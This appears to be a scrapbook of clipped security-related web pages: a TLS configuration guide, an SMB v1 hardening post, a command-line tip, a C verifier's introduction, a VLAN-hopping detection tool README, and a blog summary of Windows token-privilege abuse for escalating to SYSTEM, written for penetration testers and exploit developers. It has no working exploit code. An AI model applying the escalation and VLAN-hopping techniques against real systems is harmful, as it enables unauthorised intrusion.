In order to support older clients, you may need to continue to support TLS
v1.0 and TLS v1.1 for now. However, you should plan to retire TLS v1.0 in the
near future. For example, the PCI DSS standard will require all sites that
accept credit card payments to remove support for TLS v1.0 by June 2018.

Work is currently under way to design TLS v1.3, with the aims to remove all
obsolete and insecure features and to make improvements that will keep our
communication secure in the following decades.

###  2.3 Use Secure Cipher Suites

To communicate securely, you must first ascertain that you are communicating
directly with the desired party \(and not through someone else who will
eavesdrop\) and exchanging data securely. In SSL and TLS, cipher suites define
how secure communication takes place. They are composed from varying building
blocks with the idea of achieving security through diversity. If one of the
building blocks is found to be weak or insecure, you should be able to switch
to another.

You should rely chiefly on the AEAD suites that provide strong authentication
and key exchange, forward secrecy, and encryption of at least 128 bits. Some
other, weaker suites may still be supported, provided they are negotiated only
with older clients that don't support anything better.

There are several obsolete cryptographic primitives that _must_ be avoided:

  * Anonymous Diffie-Hellman \(ADH\) suites do not provide authentication.
  * NULL cipher suites provide no encryption.
  * Export cipher suites are insecure when negotiated in a connection, but they can also be used against a server that prefers stronger suites \(the FREAK attack\).
  * Suites with weak ciphers \(typically of 40 and 56 bits\) use encryption that can easily be broken.
  * RC4 is insecure.
  * 3DES is slow and weak.

Use the following suite configuration, designed for both RSA and ECDSA keys,
as your starting point:

[code]

    TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
    TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
    TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
    TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
    TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
    TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384
    TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
    TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
    TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
    TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
    TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256
    TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384
    TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256
    TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384
    TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
    TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
    TLS_DHE_RSA_WITH_AES_128_CBC_SHA
    TLS_DHE_RSA_WITH_AES_256_CBC_SHA
    TLS_DHE_RSA_WITH_AES_128_CBC_SHA256
    TLS_DHE_RSA_WITH_AES_256_CBC_SHA256
    
[/code]

> **Warning**
> We recommend that you always first test your TLS configuration in a staging
> environment, transferring the changes to the production environment only
> when certain that everything works as expected. Please note that the above
> is a generic list and that not all systems \(especially the older ones\)
> support all the suites. That's why it's important to test first.
The above example configuration uses standard TLS suite names. Some platforms
use nonstandard names; please refer to the documentation for your platform for
more details. For example, the following suite names would be used with
OpenSSL:

[code]

    ECDHE-ECDSA-AES128-GCM-SHA256
    ECDHE-ECDSA-AES256-GCM-SHA384
    ECDHE-ECDSA-AES128-SHA
    ECDHE-ECDSA-AES256-SHA
    ECDHE-ECDSA-AES128-SHA256
    ECDHE-ECDSA-AES256-SHA384
    ECDHE-RSA-AES128-GCM-SHA256
    ECDHE-RSA-AES256-GCM-SHA384
    ECDHE-RSA-AES128-SHA
    ECDHE-RSA-AES256-SHA
    ECDHE-RSA-AES128-SHA256
    ECDHE-RSA-AES256-SHA384
    DHE-RSA-AES128-GCM-SHA256
    DHE-RSA-AES256-GCM-SHA384
    DHE-RSA-AES128-SHA
    DHE-RSA-AES256-SHA
    DHE-RSA-AES128-SHA256
    DHE-RSA-AES256-SHA256
    
[/code]

###  2.4 Select Best Cipher Suites

In SSL v3 and later protocol versions, clients submit a list of cipher suites
that they support, and servers choose one suite from the list to use for the
connection. Not all servers do this well, however; some will select the first
supported suite from the client's list. Having servers actively select the
best available cipher suite is critical for achieving the best security.

###  2.5 Use Forward Secrecy

Forward secrecy \(sometimes also called perfect forward secrecy\) is a
protocol feature that enables secure conversations that are not dependent on
the server’s private key. With cipher suites that do not provide forward
secrecy, someone who can recover a server’s private key can decrypt _all_
earlier recorded encrypted conversations. You need to support and prefer ECDHE
suites in order to enable forward secrecy with modern web browsers. To support
a wider range of clients, you should also use DHE suites as fallback after
ECDHE. Avoid the RSA key exchange unless absolutely necessary. My proposed
default configuration in Section 2.3 contains only suites that provide forward
secrecy.

###  2.6 Use Strong Key Exchange

For the key exchange, public sites can typically choose between the classic
ephemeral Diffie-Hellman key exchange \(DHE\) and its elliptic curve variant,
ECDHE. There are other key exchange algorithms, but they're generally insecure
in one way or another. The RSA key exchange is still very popular, but it
doesn't provide forward secrecy.

In 2015, a group of researchers published new attacks against DHE; their work
is known as the Logjam attack.\[2\] The researchers discovered that lower-
strength DH key exchanges \(e.g., 768 bits\) can easily be broken and that
some well-known 1,024-bit DH groups can be broken by state agencies. To be on
the safe side, if deploying DHE, configure it with at least 2,048 bits of
security. Some older clients \(e.g., Java 6\) might not support this level of
strength. For performance reasons, most servers should prefer ECDHE, which is
both stronger and faster. The ` secp256r1 ` named curve \(also known as `
P-256 `\) is a good choice in this case.

###  2.7 Mitigate Known Problems

There have been several serious attacks against SSL and TLS in recent years,
but they should generally not concern you if you're running up-to-date
software and following the advice in this guide. \(If you're not, I'd advise
testing your systems using SSL Labs and taking it from there.\) However,
nothing is perfectly secure, which is why it is a good practice to keep an eye
on what happens in security. Promptly apply vendor patches if and when they
become available; otherwise, rely on workarounds for mitigation.

##  3 Performance

Security is our main focus in this guide, but we must also pay attention to
performance; a secure service that does not satisfy performance criteria will
no doubt be dropped. With proper configuration, TLS can be quite fast. With
modern protocols—for example, HTTP/2—it might even be faster than plaintext
communication.

###  3.1 Avoid Too Much Security

The cryptographic handshake, which is used to establish secure connections, is
an operation for which the cost is highly influenced by private key size.
Using a key that is too short is insecure, but using a key that is too long
will result in “too much” security and slow operation. For most web sites,
using RSA keys stronger than 2,048 bits and ECDSA keys stronger than 256 bits
is a waste of CPU power and might impair user experience. Similarly, there is
little benefit to increasing the strength of the ephemeral key exchange beyond
2,048 bits for DHE and 256 bits for ECDHE. There are no clear benefits of
using encryption above 128 bits.

###  3.2 Use Session Resumption

Session resumption is a performance-optimization technique that makes it
possible to save the results of costly cryptographic operations and to reuse
them for a period of time. A disabled or nonfunctional session resumption
mechanism may introduce a significant performance penalty.

###  3.3 Use WAN Optimization and HTTP/2

These days, TLS overhead doesn't come from CPU-hungry cryptographic
operations, but from network latency. A TLS handshake, which can start only
after the TCP handshake completes, requires a further exchange of packets and
is more expensive the further away you are from the server. The best way to
minimize latency is to avoid creating new connections—in other words, to keep
existing connections open for a long time \(keep-alives\). Other techniques
that provide good results include supporting modern protocols such as HTTP/2
and using WAN optimization \(usually via content delivery networks\).

###  3.4 Cache Public Content

When communicating over TLS, browsers might assume that all traffic is
sensitive. They will typically use the memory to cache certain resources, but
once you close the browser, all the content may be lost. To gain a performance
boost and enable long-term caching of some resources, mark public resources
\(e.g., images\) as public.

###  3.5 Use OCSP Stapling

OCSP stapling is an extension of the OCSP protocol that delivers revocation
information as part of the TLS handshake, directly from the server. As a
result, the client does not need to contact OCSP servers for out-of-band
validation and the overall TLS connection time is significantly reduced. OCSP
stapling is an important optimization technique, but you should be aware that
not all web servers provide solid OCSP stapling implementations. Combined with
a CA that has a slow or unreliable OCSP responder, such web servers might
create performance issues. For best results, simulate failure conditions to
see if they might impact your availability.

###  3.6 Use Fast Cryptographic Primitives

In addition to providing the best security, my recommended cipher suite
configuration also provides the best performance. Whenever possible, use CPUs
that support hardware-accelerated AES. After that, if you really want a
further performance edge \(probably not needed for most sites\), consider
using ECDSA keys.

##  4 HTTP and Application Security

The HTTP protocol and the surrounding platform for web application delivery
continued to evolve rapidly after SSL was born. As a result of that evolution,
the platform now contains features that can be used to defeat encryption. In
this section, we list those features, along with ways to use them securely.

###  4.1 Encrypt Everything

The fact that encryption is optional is probably one of the biggest security
problems today. We see the following problems:

  * No TLS on sites that need it
  * Sites that have TLS but that do not enforce it
  * Sites that mix TLS and non-TLS content, sometimes even within the same page
  * Sites with programming errors that subvert TLS

Although many of these problems can be mitigated if you know exactly what
you’re doing, the only way to reliably protect web site communication is to
enforce encryption throughout—without exception.

###  4.2 Eliminate Mixed Content

Mixed-content pages are those that are transmitted over TLS but include
resources \(e.g., JavaScript files, images, CSS files\) that are not
transmitted over TLS. Such pages are not secure. An active man-in-the-middle
\(MITM\) attacker can piggyback on a single unprotected JavaScript resource,
for example, and hijack the entire user session. Even if you follow the advice
from the previous section and encrypt your entire web site, you might still
end up retrieving some resources unencrypted from third-party web sites.

###  4.3 Understand and Acknowledge Third-Party Trust

Web sites often use third-party services activated via JavaScript code
downloaded from another server. A good example of such a service is Google
Analytics, which is used on large parts of the Web. Such inclusion of third-
party code creates an implicit trust connection that effectively gives the
other party full control over your web site. The third party may not be
malicious, but large providers of such services are increasingly seen as
targets. The reasoning is simple: if a large provider is compromised, the
attacker is automatically given access to all the sites that depend on the
service.

If you follow the advice from Section 4.2, at least your third-party links
will be encrypted and thus safe from MITM attacks. However, you should go a
step further than that: learn what services you use and remove them, replace
them with safer alternatives, or accept the risk of their continued use. A new
technology called subresource integrity \(SRI\) could be used to reduce the
potential exposure via third-party resources.\[3\]

###  4.4 Secure Cookies

To be properly secure, a web site requires TLS, but also that all its cookies
are explicitly marked as secure when they are created. Failure to secure the
cookies makes it possible for an active MITM attacker to tease some
information out through clever tricks, even on web sites that are 100%
encrypted. For best results, consider adding cryptographic integrity
validation or even encryption to your cookies.

###  4.5 Secure HTTP Compression

The 2012 CRIME attack showed that TLS compression can't be implemented
securely. The only solution was to disable TLS compression altogether. The
following year, two further attack variations followed. TIME and BREACH
focused on secrets in HTTP response bodies compressed using HTTP compression.
Unlike TLS compression, HTTP compression is a necessity and can't be turned
off. Thus, to address these attacks, changes to application code need to be
made.\[4\]

TIME and BREACH attacks are not easy to carry out, but if someone is motivated
enough to use them, the impact is roughly equivalent to a successful Cross-
Site Request Forgery \(CSRF\) attack.

###  4.6 Deploy HTTP Strict Transport Security

HTTP Strict Transport Security \(HSTS\) is a safety net for TLS. It was
designed to ensure that security remains intact even in the case of
configuration problems and implementation errors. To activate HSTS protection,
you add a new response header to your web sites. After that, browsers that
support HSTS \(all modern browsers at this time\) enforce it.

The goal of HSTS is simple: after activation, it does not allow any insecure
communication with the web site that uses it. It achieves this goal by
automatically converting all plaintext links to secure ones. As a bonus, it
also disables click-through certificate warnings. \(Certificate warnings are
an indicator of an active MITM attack. Studies have shown that most users
click through these warnings, so it is in your best interest to never allow
them.\)

Adding support for HSTS is the single most important improvement you can make
for the TLS security of your web sites. New sites should always be designed
with HSTS in mind and the old sites converted to support it wherever possible
and as soon as possible. For best security, consider using HSTS
preloading,\[5\] which embeds your HSTS configuration in modern browsers,
making even the first connection to your site secure.

The following configuration example activates HSTS on the main hostname and
all its subdomains for a period of one year, while also allowing preloading:

[code]

    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
    
[/code]

###  4.7 Deploy Content Security Policy

Content Security Policy \(CSP\) is a security mechanism that web sites can use
to restrict browser operation. Although initially designed to address Cross-
Site Scripting \(XSS\), CSP is constantly evolving and supports features that
are useful for enhancing TLS security. In particular, it can be used to
restrict mixed content when it comes to third-party web sites, for which HSTS
doesn't help.

To deploy CSP to prevent third-party mixed content, use the following
configuration:

[code]

    Content-Security-Policy: default-src https: 'unsafe-inline' 'unsafe-eval';
                             connect-src https: wss:
    
[/code]

> **Note**
> This is not the best way to deploy CSP. In order to provide an example that
> doesn't break anything except mixed content, I had to disable some of the
> default security features. Over time, as you learn more about CSP, you
> should change your policy to bring them back.
###  4.8 Do Not Cache Sensitive Content

All sensitive content must be communicated only to the intended parties and
treated accordingly by all devices. Although proxies do not see encrypted
traffic and cannot share content among users, the use of cloud-based
application delivery platforms is increasing, which is why you need to be very
careful when specifying what is public and what is not.

###  4.9 Consider Other Threats

TLS is designed to address only one aspect of security—confidentiality and
integrity of the communication between you and your users—but there are many
other threats that you need to deal with. In most cases, that means ensuring
that your web site does not have other weaknesses.

##  5 Validation

With many configuration parameters available for tweaking, it is difficult to
know in advance what impact certain changes will have. Further, changes are
sometimes made accidentally; software upgrades can introduce changes silently.
For that reason, we advise that you use a comprehensive SSL/TLS assessment
tool initially to verify your configuration to ensure that you start out
secure, and then periodically to ensure that you stay secure. For public web
sites, we recommend the free SSL Labs server test.\[6\]

##  6 Advanced Topics

The following advanced topics are currently outside the scope of our guide.
They require a deeper understanding of SSL/TLS and Public Key Infrastructure
\(PKI\), and they are still being debated by experts.

###  6.1 Public Key Pinning

Public key pinning is designed to give web site operators the means to
restrict which CAs can issue certificates for their web sites. This feature
has been deployed by Google for some time now \(hardcoded into their browser,
Chrome\) and has proven to be very useful in preventing attacks and making the
public aware of them. In 2014, Firefox also added support for hardcoded
pinning. A standard called Public Key Pinning Extension for HTTP\[7\] is now
available. Public key pinning addresses the biggest weakness of PKI \(the fact
that any CA can issue a certificate for any web site\), but it comes at a
cost; deploying requires significant effort and expertise, and creates risk of
losing control of your site \(if you end up with invalid pinning
configuration\). You should consider pinning largely only if you're managing a
site that might be realistically attacked via a fraudulent certificate.

###  6.2 DNSSEC and DANE

Domain Name System Security Extensions \(DNSSEC\) is a set of technologies
that add integrity to the domain name system. Today, an active network
attacker can easily hijack any DNS request and forge arbitrary responses. With
DNSSEC, all responses can be cryptographically tracked back to the DNS root.
DNS-based Authentication of Named Entities \(DANE\) is a separate standard
that builds on top of DNSSEC to provide bindings between DNS and TLS. DANE
could be used to augment the security of the existing CA-based PKI ecosystem
or bypass it altogether.

Even though not everyone agrees that DNSSEC is a good direction for the
Internet, support for it continues to improve. Browsers don't yet support
either DNSSEC or DANE \(preferring similar features provided by HSTS and HPKP
instead\), but there is some indication that they are starting to be used to
improve the security of email delivery.

##  7 Changes

The first release of this guide was on 24 February 2012. This section tracks
the document changes over time, starting with version 1.3.

###  Version 1.3 \(17 September 2013\)

The following changes were made in this version:

  * Recommend replacing 1024-bit certificates straight away.
  * Recommend against supporting SSL v3.
  * Remove the recommendation to use RC4 to mitigate the BEAST attack server-side.
  * Recommend that RC4 is disabled.
  * Recommend that 3DES is disabled in the near future.
  * Warn about the CRIME attack variations \(TIME and BREACH\).
  * Recommend supporting forward secrecy.
  * Add discussion of ECDSA certificates.

###  Version 1.4 \(8 December 2014\)

The following changes were made in this version:

  * Discuss SHA1 deprecation and recommend migrating to the SHA2 family.
  * Recommend that SSL v3 is disabled and mention the POODLE attack.
  * Expand Section 3.1 to cover the strength of the DHE and ECDHE key exchanges.
  * Recommend OCSP Stapling as a performance-improvement measure, promoting it to Section 3.5.

###  Version 1.5 \(8 June 2016\)

The following changes were made in this version:

  * Refreshed the entire document to keep up with the times.
  * Recommended use of authenticated cipher suites.
  * Spent more time discussing key exchange strength and the Logjam attack.
  * Removed the recommendation to disable client-initiated renegotiation. Modern software does this anyway, and it might be impossible or difficult to disable it with something older. At the same time, the DoS vector isn't particularly strong. Overall, I feel it's better to spend available resources fixing something else.
  * Added a warning about flaky OCSP stapling implementations.
  * Added mention of subresource integrity enforcement.
  * Added mention of cookie integrity validation and encryption.
  * Added mention of HSTS preloading.
  * Recommended using CSP for better handling of third-party mixed content.
  * Mentioned FREAK, Logjam, and DROWN attacks.
  * Removed the section that discussed mitigation of various TLS attacks, which are largely obsolete by now, especially if the advice presented here is followed. Moved discussion of CRIME variants into a new section.
  * Added a brief discussion of DNSSEC and DANE to the Advanced section.

##  Acknowledgments

Special thanks to Marsh Ray, Nasko Oskov, Adrian F. Dimcev, and Ryan Hurst for
their valuable feedback and help in crafting the initial version of this
document. Also thanks to many others who generously share their knowledge of
security and cryptography with the world. The guidelines presented here draw
on the work of the entire security community.

##  About SSL Labs

SSL Labs \(www.ssllabs.com\) is Qualys’s research effort to understand SSL/TLS
and PKI as well as to provide tools and documentation to assist with
assessment and configuration. Since 2009, when SSL Labs was launched, hundreds
of thousands of assessments have been performed using the free online
assessment tool. Other projects run by SSL Labs include periodic Internet-wide
surveys of TLS configuration and SSL Pulse, a monthly scan of about 150,000
most popular TLS-enabled web sites in the world.

##  About Qualys

Qualys, Inc. \(NASDAQ: QLYS\) is a pioneer and leading provider of cloud-based
security and compliance solutions with over 9,300 customers in more than 100
countries, including a majority of each of the Forbes Global 100 and Fortune
100. The Qualys Cloud Platform and integrated suite of solutions help
organizations simplify security operations and lower the cost of compliance by
delivering critical security intelligence on demand and automating the full
spectrum of auditing, compliance and protection for IT systems and web
applications. Founded in 1999, Qualys has established strategic partnerships
with leading managed service providers and consulting organizations including
Accenture, BT, Cognizant Technology Solutions, Deutsche Telekom, Fujitsu, HCL,
HP Enterprise, IBM, Infosys, NTT, Optiv, SecureWorks, Tata Communications,
Verizon and Wipro. The company is also a founding member of the Cloud Security
Alliance \(CSA\). For more information, please visit www.qualys.com.

\[1\] Transport Layer Security \(TLS\) Parameters \(IANA, retrieved 18 March
2016\)

\[2\] Weak Diffie-Hellman and the Logjam Attack \(retrieved 16 March 2016\)

\[3\] Subresource Integrity \(Mozilla Developer Network, retrieved 16 March
2016\)

\[4\] Defending against the BREACH Attack \(Qualys Security Labs; 7 August
2013\)

\[5\] HSTS Preload List \(Google developers, retrieved 16 March 2016\)

\[6\] SSL Labs \(retrieved 16 March 2016\)

\[7\] RFC 7469: Public Key Pinning Extension for HTTP \(Evans et al, April
2015\)

  

# Resources: Handling SMB v1 in Managed Environments with Group Policy

**Created:**| _5/28/2017 11:03:28 AM_  
---|---  
**Updated:**| _5/28/2017 11:03:28 AM_  
**Author:**| __  
**Tags:**| _windows environment filesystems gpo_  
  

  

# Resources: Handling SMB v1 in Managed Environments with Group Policy

May 26, 2017 Richard Hay

  *     * EMAIL
  *   *   *   * 

Comments 0

.

.

<img src='img/Temp2_6834.jpg' width='595' height='335' />

There has been a lot of recent discussion about the Server Message Block
\(SMB\) network file sharing protocol and its vulnerabilities which were used
in the WannaCrypt ransomware attack which spread quickly after it was first
detected earlier this month.

The situation was so severe that Microsoft even issued a security patch for
Windows XP based systems which has been out of support since April 2014. While
I am sure users appreciated that patch, it looks like Windows 7 was more
vulnerable to this exploit than Windows XP users in the long run.

Microsoft has been talking about this SMB v1 vulnerability since at least last
September and over on the "Stay Safe" Cyber Security Blog, Troy Arwine
provides historical context about this issue including links to all of the
related articles from MSDN and TechNet.

He also provides links to the security bulletin that was published back in
March when the company patched the exploit and then the follow on content
relating to the ransomware attack this month.

It is all excellent reading to learn about the entire situation however, there
is a very practical side to his article as he provides enterprise customers
with the steps necessary to disable SMB v1 using Group Policy and there are
separate instructions on this process for both SMB v1 Server and Client.

While patching/disabling the SMB protocol on your servers and clients is
important, do not forget to take a look at other file sharing hardware you
might use on your network and make sure you upgrade firmware so that you can
avoid this vulnerability in SMB v1. If your hardware does not support
switching off SMB v1, like my Western Digital MyCloud device, than you should
consider replacing that hardware on your network as soon as possible.

\----------

But, wait...there's probably more so be sure to follow me on Twitter and
Google+.

\----------------------------------

Looking for an awesome, no-nonsense technical conference for IT Pros, Devs,
and Devops? Check out IT/Dev Connections\!

<img src='img/logojpgshadow.jpg' width='237' height='80' alt='IT/Dev
Connections' />

.

  * Print
  * reprints
  * Favorite

  *     * EMAIL
  *   *   *   * 

.

.

#### Please Log In or Register to post comments.

.

##### Related Articles

  * Security in Windows Environments: 4 Stories
  * Security in Windows Environments: 4 Stories
  * Microsoft Reissues Windows XP SMB Security Hotfix 2
  * Microsoft Reissues Windows XP SMB Security Hotfix 2
  * Get a Handle on AD Internals 4

.

  

# Apple Magic Trackpad leak - Engadget Galleries

**Created:**| _7/20/2010 8:15:14 AM_  
---|---  
**Updated:**| _7/20/2010 8:15:26 AM_  
**Author:**| __  
**Tags:**| _LOLZ Mac-hacking_  
  

0

Apple Magic Trackpad leak Jun 7th 2010 1 of 8

Gallery Hub  
Back to Post →

«

<img src='img/Temp2_862.jpg' />

»

All contents copyright © 2003-2009, Weblogs, Inc. All rights reserved.  
Engadget® is a member of the Weblogs, Inc. Network. Privacy Policy, Terms of
Service, Notify AOL, AOL News

AOL News

# Command Line Kung Fu: Episode \#3 - Watching the File Count in a Directory

**Created:**| _5/16/2009 10:36:29 AM_  
---|---  
**Updated:**| _5/16/2009 10:36:35 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#3 - Watching the File Count in a Directory

Ed Says:  
  
On Windows, count the number of files in a directory every 5 sec:  
  

[code]

     C:\> for /L %i in (1,0,2) do @dir /b | find /c /v "" & ping -n 6 127.0.0.1>nul 
    
[/code]

  
I often use this one when doing analysis of an anti-malware solution, to take
inventory of the number of specimens it's detected/nabbed/quarantined.  
  
This command includes some useful constructs as well:  

  * The for /L loop, which counts from one to two in steps of zero keeps it running forever, acting kind of like the Linux "watch" command.
  * The /b option makes the dir command drop the cruft from its output \(., .., volume name, size, etc.\) We want only one line per file, so we use /b.  

  * The find /c /v "" means to find, and count \(/c\) the number of lines that do not have \(/v\) nothing \(""\). Lines that don't have nothing are all lines. Even a blank line has a Carriage Return / Line Feed, so it gets counted.
  * And, we ping ourselves 6 times to introduce a 5-second delay. First ping happens instantly, the remaining happen once per second. Bummer that there is no sleep in Windows. Vista does have the "timeout /t -\[N\]" command, but we want something that'll work on nearly all Windows boxen, so we ping.

Byte\_bucket points out that dir, when used like this, doesn't show files that
are marked with the system or read-only attributes, and he's right. He
suggested replacing the dir /b command with the attrib command, which will
show all files regardless of these attributes. However, call me old fashioned,
but I like to see lists of files using the dir command. Thus, if I want to
make sure that I see hidden, system, and read-only files, I use dir /a. The /a
means show me files with a given set of attributes \(which can be h for
hidden, s for system, and r for read-only\). If I don't provide an attribute
list, it will show me files regardless of the attribute. Thus, the resulting
command:  
  

[code]

     C:\> for /L %i in (1,0,2) do @dir /b /a | find /c /v "" & ping -n 6 127.0.0.1>nul 
    
[/code]

Thanks for the great point, Mr. Bucket. Or should I call you Byte? :\)  
  
Hal Comments:  
  
\*Yawn\* Too easy, Ed:  

[code]

    $ while :; do ls | wc -l; sleep 5; done
    
[/code]

  
This example does point out one of the more interesting properties of the ls command: ls is conscious of where its output is going. If the output is going to normal terminal output, then the ls command gives you multi-column output. But if the output is being piped into another command, it outputs one file per line \(you can verify this by doing "ls | cat"\). How can ls figure this out? Check out the manual page for isatty\(3\).  
  
Paul's Comments:  
  
A fellow Twitter \(Sorry, I can't find the person's name\) recommended the
watch command, which you can run like this:  
  

[code]

    $ watch -n 5 'ls | wc -l'
    
[/code]

  
This will first clear the screen, then display the command in the upper left
hand corner, and the date/time the command was last run in the upper right
hand corner, followed by the count. Its pretty neat, and seems to be included
in most Linux distributions \(however, in OS X I used MacPorts to install it
with port install watch\)

  

# LLBMC: Introduction

**Created:**| _2/8/2012 1:35:34 PM_  
---|---  
**Updated:**| _2/8/2012 1:35:38 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification llvm SMT_  
  

# Welcome to the Software Analysis Tool LLBMC\!

## Overview

LLBMC \(the low-level bounded model checker\) is a tool for finding bugs in C
\(and, to some extent, in C++\) programs. It is mainly intended for checking
low-level system code and is based on the technique of Bounded Model Checking.

<img src='img/Temp2_4813.png' alt='LLBMC logo' />

LLBMC can help to

  * **reduce** the **time and effort** needed for software testing,
  * **improve** the **quality** of software,
  * achieve high test coverage ratios,
  * obtain **stable and secure software** in reduced time.

LLBMC is fully automatic and requires minimal perparation efforts and user
interaction. It supports all C constructs, including not so common features
such as bitfields. LLBMC models memory accesses \(heap, stack, global
variables\) with high precision and is thus able to find hard-to-detect memory
access errors like heap or stack buffer overflows. LLBMC can also uncover
errors due to uninitalized variables or other sources of non-deterministic
behavior. Due to its precise analysis, LLBMC produces almost no false alarms
\(_false positives_\).

Technically, LLBMC incorporates several innovations:

  * Instead of working on the C source code directly, it employs a compiler frontend \(the LLVM compiler infrastructure\) and starts verification on the RISC-assembler-like intermediate representation. **LLBMC's analysis results are thus much closer to what actually runs on the machine.**
  * LLBMC supports all C language features \(currently with the exception of floating-point numbers\), even esoteric ones like bitfields, and models their semantics with high precision on the bit-level. 
  * By using an SMT solver \(Boolector or STP\) as a logical backend, it achieves **high performance**. 
  * Rewrite-based simplifications can discharge many "easy" proof obligations before invocation of the core SMT solver. This again improves performance. 

## Built-in Checks

  * Integer overflow 
  * Division by zero 
  * Invalid bit shift 
  * Illegal memory access \(array index out of bound, illegal pointer access, etc.\) 
  * Invalid free 
  * Double free 
  * User-customizable checks \(via `__llbmc_assume` / `__llbmc_assert`\) 

# commonexploits/dtpscan

**Created:**| _10/25/2013 9:25:30 AM_  
---|---  
**Updated:**| _10/25/2013 9:25:30 AM_  
**Author:**| __  
**Tags:**| _pentest network-security vlan_  
  

# **D** TPScan****

Detects DTP modes for VLAN Hopping \(passive check\)

DTPscan will passively sniff the network and detect which switchport mode the
switch is configured in to assist with VLAN hopping attacks**.**

Frogger script can be used to actively attack DTP in an attempt to VLAN hop,
but until now the only real way to tell was to review the Cisco switch config
file to see how the port is configured to know if it is possible**.**

This will detect the hex code from DTP and know which mode the switch port is
in and give you a result to say if VLAN hopping is possible**.** As this is
passive \(does not attack DTP\) this is very useful to know it advance**.**

  * This will be a feature of Frogger version 2 soon - releasing DTPscan for now**.** Frogger 2 will have major changes and will support passive gathering, active attacks and will support ISL as well as 802**.** 1Q.

Developed by Daniel Compton

https://github.com/commonexploits/dtpscan

Released under AGPL see LICENSE for more information

#  Installing****

[code]

    git clone https://github.com/commonexploits/dtpscan.git
    
[/code]

#  How To Use****

[code]

    **.** /dtpscan.sh
    
[/code]

#  Features****

  * Passively detects the DTP mode of a Cisco switch for VLAN hopping
  * Reports if switch is in Default mode, trunk, dynamic, auto or access mode

#  Screen Shots****

<img src='img/Temp2_10146.jpg' />

<img src='img/Temp2_10144.jpg' />

<img src='img/Temp2_10145.jpg' />

#  Change Log****

  * Version 1**.** 0 - First release. \* it may need to work on some of the DTP codes/modes with more testing**.**

****

# Abusing Token Privileges For Windows Local Privilege Escalation

**Created:**| _9/4/2017 9:21:38 AM_  
---|---  
**Updated:**| _9/4/2017 9:21:38 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

Posted on August 25, 2017

# Abusing Token Privileges For Windows Local Privilege Escalation

By @dronesec and @breenmachine

This a project my friend drone <@dronesec> and I have been poking at for quite
some time and are glad to finally be releasing. As the title implies, we’re
going to be looking at leveraging Windows access tokens with the goal of local
privilege escalation. For those familiar with some of my previous work on
“Rotten Potato” this might sound familiar, however drone and I took this 10
steps further.

In this post I’m simply going to be providing a summary of the work. The full
article and all associated code can be found at:
https://github.com/hatRiot/token-priv.

This post is going to be broken into two sections, the first for penetration
testers and red teamers, and the second for exploit developers.

## For the Red Team

Like the “Rotten Potato” project, this project will be useful for penetration
testing and red team scenarios where an attacker has gained access to a non-
administrative service account and is looking to elevate privileges to
“SYSTEM”. If you recall from the “Rotten Potato” project, in order for the
original attack to work, your account needed to have the
“SeImpersonatePrivilege”, or “SeAssignPrimaryPrivilege”. Drone and I decided
to look at what other privileges could be abused to gain SYSTEM level access
and were able to find a whole collection of them\! If this is where your
interest lies, feel free to skip to sections 3.1 and 3.3 of the paper linked
above and take a look at the published code. Each of the modules is associated
with a specific privilege and will get you SYSTEM level access or something
almost as good.

Here is the list of privileges that we were able to abuse:

  * SeImpersonatePrivilege
  * SeAssignPrimaryPrivilege
  * SeTcbPrivilege
  * SeBackupPrivilege
  * SeRestorePrivilege
  * SeCreateTokenPrivilege
  * SeLoadDriverPrivilege
  * SeTakeOwnershipPrivilege
  * SeDebugPrivilege

From a penetration testing perspective, simply type “whoami /priv” at a
Windows command prompt. If you have one of the above privileges, you win.

It may be beneficial to hunt for specific service accounts that have these
privileges. For example if you can gain access to the Backup service account,
it will almost certainly have the SeBackupPrivilege and SeRestorePrivilege.
Gaining access to these service accounts can be accomplished in a number of
ways including the following:

  * The service itself is compromised through some vulnerability. Typical  
scenarios include web application vulnerabilities which allow execution  
in the context of the account running IIS, and SQL injection  
vulnerabilities where XP\_CMDSHELL can be used to run code in the  
context of the SQL service account.

  * Service account credentials are leaked in some way.
  * Kerberoast style attacks. A Kerberos ticket is requested for the target  
account from the domain controller. Part of this ticket is encrypted  
using the target account’s password hash. This can be efficiently  
cracked offline to yield the account password.

  * Forcing NTLM negotiation. For example, with a backup service, if you were to force it to backup an SMB share that is served up by Responder.py.

As always, you may need to be creative here.

For further details, please see the paper in the GitHub repository
https://github.com/hatRiot/token-priv.

## For the Exploit Devs

This project was originally conceived by drone as a tool for exploit
developers to greatly simplify the exploitation of partial write
vulnerabilities. Partial write vulnerabilities are those where we can write
_something_ to a chosen location in memory, however we may not control the
value being written. The idea here is to abuse the partial write to flip some
bits in your users token, thus enabling one of the exploitable privileges.
From this point forward, the “exploitation” of the vulnerability involves
abusing intended \(albeit undocumented\) behavior of a series of Windows API
calls.

The advantage of this type of strategy for abusing partial writes is that it
evades all of the new kernel exploit mitigations\! Drone shows in the paper
how he was able to greatly simplify the exploits for some recent partial write
vulnerabilities. The other great thing is that the exploit code is completely
portable. Once the right bits are flipped in the token, the exploit developer
needs only to run one of the modules from our project.

For further details, please see the paper in the GitHub repository
https://github.com/hatRiot/token-priv.

### Share this:

  * Twitter
  * Facebook51
  * Google
  * 

 Like

Be the first to like this.

### _Related :_

Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM

Hot Potato - Windows Privilege Escalation

Why DoS isn't compromise - 5 Years of Real Penetration Test Data to Stand
Behind

  

# Let's have fun with EICAR test file

**Created:**| _5/22/2011 9:55:48 PM_  
---|---  
**Updated:**| _5/22/2011 9:55:59 PM_  
